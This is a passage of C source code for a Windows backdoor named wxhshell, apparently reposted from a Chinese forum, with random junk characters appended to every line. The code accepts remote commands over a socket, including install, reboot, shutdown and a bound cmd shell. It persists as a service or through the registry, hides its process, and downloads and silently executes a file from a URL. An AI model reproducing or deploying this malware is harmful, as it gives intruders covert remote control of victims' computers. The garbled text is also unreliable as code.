  else NNRKYdp,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RC!T1o~L  
  } z7a @'+'  
  else { w_Z*X5u  
s ZokiFJ  
    switch(cmd[0]) { -Q1~lN m:  
  b+BX >$  
  // 帮助 xCMuq9zt@  
  case '?': { C+gu'hD  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1i Q(q\%  
    break; O^R ^Aw  
  } hiaTJE|J?  
  // 安装 =I+5sCF{g  
  case 'i': { RP wP4Z  
    if(Install()) 'b_SQ2+A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZaFqGcS~  
    else _3gF~qr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 11JO[  
    break; a0  w  
    } HGW;]8xl  
  // 卸载 ,Ne v7X[0  
  case 'r': { {1GIiP-U  
    if(Uninstall()) "~IGE3{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ";59,\6  
    else u?8e>a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); puGy`9eKv1  
    break; G""=`@  
    } iEMIzaR  
  // 显示 wxhshell 所在路径 'RCX6TKBnR  
  case 'p': { Uq2Qh@B  
    char svExeFile[MAX_PATH]; &MP8.( u `  
    strcpy(svExeFile,"\n\r"); ~I%JVX%  
      strcat(svExeFile,ExeFile); }iR!uhi#  
        send(wsh,svExeFile,strlen(svExeFile),0); H3S u'3  
    break; *Rj*%S  
    } hhOrO<(  
  // 重启 e#4 iue7U  
  case 'b': { Pu!%sGjD  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;'|t>'0_  
    if(Boot(REBOOT)) glWa?#1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /A`Ly p#  
    else { YZp]vlm~  
    closesocket(wsh); N)$yBzN  
    ExitThread(0); $EuI2.o  
    } y#e<]5I  
    break; ~Q 1%DV.  
    } [kZe6gYP&  
  // 关机 H3o Um1  
  case 'd': { ((Wq  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I4 4bm?[S  
    if(Boot(SHUTDOWN)) Ea3 4x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U^$l$"~"  
    else { LpSd/_^b  
    closesocket(wsh); dp>LhTLc  
    ExitThread(0); j [y+'O  
    } (8.|q6Nww  
    break; 'I)E.DoF  
    } 3)qtz_,H/g  
  // 获取shell <}Rr C#uiA  
  case 's': { ^VB_>|UN4  
    CmdShell(wsh); -"3<Ll  
    closesocket(wsh); ,u<aKae  
    ExitThread(0); y]E ?\03"  
    break; ,0[h`FN  
  } _6Fj&mw(u  
  // 退出 }U7 ><I  
  case 'x': { 8I=migaxP  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |;P9S  
    CloseIt(wsh); ?QCHkhU  
    break; \~ h7  
    } _}wy|T&7k&  
  // 离开 4 5\%2un  
  case 'q': { _&6&sp<n  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); d[I}+%{[  
    closesocket(wsh); BM]sW:-v  
    WSACleanup(); FA;uu\  
    exit(1); F>A&L8  
    break; kculHIa\.  
        } |JH1?n  
  } p)=Fi}#D\  
  } Yv jRJ  
#N"K4@]{  
  // 提示信息 c>RS~/Y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~*h` ?A0  
} h+h`0(z  
  } p,+$7f1S  
bPtbU :G  
  return; QA&BNG  
} 8z, |N#  
?yt"  
// shell模块句柄 @[4Tdf  
int CmdShell(SOCKET sock) )fz<n$3|$#  
{ CzZm C]5  
STARTUPINFO si; 38T2IN  
ZeroMemory(&si,sizeof(si)); c B9`U4<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =-dk@s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \[w82%U  
PROCESS_INFORMATION ProcessInfo; B? r[|  
char cmdline[]="cmd"; nzHsyL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); rTjV/~  
  return 0; D0=H&Z[  
} P:y M j&)  
d`;_~{sleR  
// 自身启动模式 &Rx-zp&dJ  
int StartFromService(void) ISuye2tExq  
{ +9mnxU>  
typedef struct OQON~&~  
{ Vee`q.  
  DWORD ExitStatus; D=nuK25  
  DWORD PebBaseAddress; 'WG%O7s.  
  DWORD AffinityMask; 4X2/n  
  DWORD BasePriority; w;(`!^xv  
  ULONG UniqueProcessId; qwU,D6  
  ULONG InheritedFromUniqueProcessId; wZm=h8d  
}   PROCESS_BASIC_INFORMATION; L.z`>1  
,#42ebGHR  
PROCNTQSIP NtQueryInformationProcess; ~cSOni`  
s:y=X$&M  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f|1GlUA{t  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Svo gvn  
u;Q'xuo3  
  HANDLE             hProcess; b;O|-2AR  
  PROCESS_BASIC_INFORMATION pbi; T.zU erbO  
 %Ln7{w  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Y|=/*?o}  
  if(NULL == hInst ) return 0; t F<|Eja *  
q|. X[~e|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); e8@@Pi<sB  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h@"dpmpe  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6* /o  
H`$s63  
  if (!NtQueryInformationProcess) return 0; Ii,Lj1Q  
Z`5v6"Na  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qmcLG*^,  
  if(!hProcess) return 0; q8 ;WHfGf  
4#Fz!Km  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ruLi "d  
KF|<A@V  
  CloseHandle(hProcess); ]3C&l+m$ot  
X'Dg= |  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); V11Zl{uOl  
if(hProcess==NULL) return 0; zM^ux!T=  
4w:_4qyb  
HMODULE hMod; UJ_E&7,L  
char procName[255]; HKk;oG  
unsigned long cbNeeded; dD3I.?DY  
MH`H[2<\!,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0SXWt? }  
hgCeU+H  
  CloseHandle(hProcess); 0.-2FHc9L  
(DCC4%w"  
if(strstr(procName,"services")) return 1; // 以服务启动 ?3"bu$@8  
aU3 m{pE  
  return 0; // 注册表启动 9Kw4K#IqQ  
} 2bS)|#v<_t  
'~3a(1@8  
// 主模块 :cmfy6h]  
int StartWxhshell(LPSTR lpCmdLine) 8Vj]whE  
{ h*f=  
  SOCKET wsl; @O<kjR<b  
BOOL val=TRUE; xr) Rx{)3h  
  int port=0; t,;1?W#  
  struct sockaddr_in door; vIrLG1EK  
C G~ )`  
  if(wscfg.ws_autoins) Install(); /I3#WUc;![  
>8~+[e  
port=atoi(lpCmdLine); ;SF0}51  
` RUr/|S  
if(port<=0) port=wscfg.ws_port; cjf}yn  
:Xv3< rS<  
  WSADATA data; mfO:#]K  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zm}4=Kz}  
N0h"EV[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   q#-szZQ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R ;^[4<&  
  door.sin_family = AF_INET; R/M:~h~F!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ur-&- G^  
  door.sin_port = htons(port);  yf!  
<`sVu  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ul+ +h4N  
closesocket(wsl); wxARD3%  
return 1; gOZ$rv^g  
} }'dnL  
}> k9]Y  
  if(listen(wsl,2) == INVALID_SOCKET) { 3_2(L"S2  
closesocket(wsl); |,j6cFNw  
return 1; ,ijgqEN  
} W$@q ~/E  
  Wxhshell(wsl); *usfJ-  
  WSACleanup(); _JA.~edqM  
\Nu(+G?e  
return 0;  gM20n^  
KUVsCmiT  
} dWE[*a\g  
J4h7] qt  
// 以NT服务方式启动 uAR!JJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) FfN==2:b  
{ HH3WZ^0>  
DWORD   status = 0; !}^c.<38Q  
  DWORD   specificError = 0xfffffff;  B&#TbKp  
dRyK'Xr  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0O?B!Jr]RM  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; X&h4A4#P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; w*r.QzCu,5  
  serviceStatus.dwWin32ExitCode     = 0; X~Uvh8O  
  serviceStatus.dwServiceSpecificExitCode = 0; WS@b3zzN  
  serviceStatus.dwCheckPoint       = 0; GwV2`2  
  serviceStatus.dwWaitHint       = 0; l}%!&V0  
?@l9T)fF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); EXg\a#4['  
  if (hServiceStatusHandle==0) return; "?V4Tl~uu  
Qv,|*bf  
status = GetLastError(); D Y($  
  if (status!=NO_ERROR) ,)XT;iGQe  
{ JQ'NFl9<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; dfGdY"&  
    serviceStatus.dwCheckPoint       = 0; ZPn`.Qc  
    serviceStatus.dwWaitHint       = 0; ]v@#3,BV  
    serviceStatus.dwWin32ExitCode     = status; x&tad+T  
    serviceStatus.dwServiceSpecificExitCode = specificError; C<2vuZD  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); X^#48*"a  
    return; R>Fie5?  
  } a_m P$4T  
FZz\z p  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; BD[XP`[{  
  serviceStatus.dwCheckPoint       = 0; (1fE^KF@f  
  serviceStatus.dwWaitHint       = 0; 3'O+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5[esW  
} !zwn Fdp  
~N;.hU%l  
// 处理NT服务事件,比如:启动、停止 TS)p2#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 07Yh  
{ |]HU$Gt S  
switch(fdwControl) |:`f#H  
{ BKIAc6  
case SERVICE_CONTROL_STOP: x SF#ys4v  
  serviceStatus.dwWin32ExitCode = 0; eP|:b &  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; FD*`$.e3\  
  serviceStatus.dwCheckPoint   = 0; >IC.Zt@  
  serviceStatus.dwWaitHint     = 0; *j2P#et  
  { S& 8gZ~B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +?[TH?2c+  
  } xaX3<V@S  
  return;  $.(%7[  
case SERVICE_CONTROL_PAUSE: @$gvV]dA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; iDlIx8PI  
  break; QKYIBX  
case SERVICE_CONTROL_CONTINUE: y'xB? >|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &4sUi K"  
  break; ej47'#EY  
case SERVICE_CONTROL_INTERROGATE: +,9I3Dq  
  break; kWc%u-_  
}; .B{3=z^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hAHl+q)w?  
} bKYLBu:  
uI@:\Rss  
// 标准应用程序主函数 FEw51a+V  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5Jd&3pO  
{ FAJ\9  
4\x'$G  
// 获取操作系统版本 aJ88U69  
OsIsNt=GetOsVer(); muo(bR8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); bdk"7N  
vUR{!`14  
  // 从命令行安装 Gn #5zx#l  
  if(strpbrk(lpCmdLine,"iI")) Install(); bv5,Yk  
;hJTJMA6/6  
  // 下载执行文件 )}hp[*C  
if(wscfg.ws_downexe) { ^IOf%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) nV,qC .z  
  WinExec(wscfg.ws_filenam,SW_HIDE); =Bi>$Ly  
} ]8*g%  
mMjY I1F  
if(!OsIsNt) { YvHP]N{SA'  
// 如果时win9x,隐藏进程并且设置为注册表启动 @zB{Ig  
HideProc(); Cy4@\X%W  
StartWxhshell(lpCmdLine); Dr$k6kZ}'U  
} uDay||7^g  
else 28C/^4  
  if(StartFromService()) R lyF#X#7{  
  // 以服务方式启动 ZwB< {?  
  StartServiceCtrlDispatcher(DispatchTable); D3$PvX[f  
else @D^y<7(  
  // 普通方式启动 @bOhnd#W  
  StartWxhshell(lpCmdLine); EA|*|o4)  
%RG kXOgp  
return 0; cjHo?m'  
}
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只看该作者 1 发表于: 2006-10-10
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